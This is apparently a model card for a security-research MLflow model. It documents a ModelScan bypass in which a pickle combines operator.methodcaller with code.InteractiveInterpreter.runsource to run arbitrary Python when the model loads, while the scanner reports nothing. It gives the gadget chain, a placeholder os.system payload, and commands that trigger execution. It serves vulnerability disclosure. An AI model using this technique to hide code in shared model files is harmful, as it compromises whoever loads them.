---
library_name: mlflow
tags:
- security-research
- modelscan-bypass
- code
- InteractiveInterpreter
- methodcaller
- rce
---

# ModelScan code.InteractiveInterpreter Bypass — RCE via code.InteractiveInterpreter.runsource()

## Summary

ModelScan's pickle scanner uses an `unsafe_globals` denylist to detect malicious pickle operations. However, **`code.InteractiveInterpreter`** and **`operator.methodcaller`** are NOT in the denylist.

This MLflow model achieves arbitrary Python code execution through `code.InteractiveInterpreter.runsource()`, while ModelScan reports zero issues.

## Attack Chain

The pickle bytecode uses only two STACK_GLOBAL opcodes:

1. `operator.methodcaller('runsource', '__import__("os").system("cmd")')` → Creates a callable
2. `code.InteractiveInterpreter()` → Creates an interactive interpreter instance

At load time: `methodcaller(interpreter)` → `interpreter.runsource('__import__("os").system("cmd")')` → Arbitrary Python code execution

## Why It Works

- `code` module is entirely absent from unsafe_globals
- `operator.methodcaller` is not blocked (only `operator.attrgetter` is)
- Unlike `os.system` which only runs shell commands, `runsource()` executes arbitrary Python code

## Verification

```bash
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! 🎉

# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"

# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
    pickle.load(f)
"
```

## Impact

- **Severity**: Critical (CVSS 9.8)
- **Affected**: All pickle-based formats scanned by ModelScan
- Remote, no auth needed, no user interaction
- Executes arbitrary Python code (not limited to shell commands)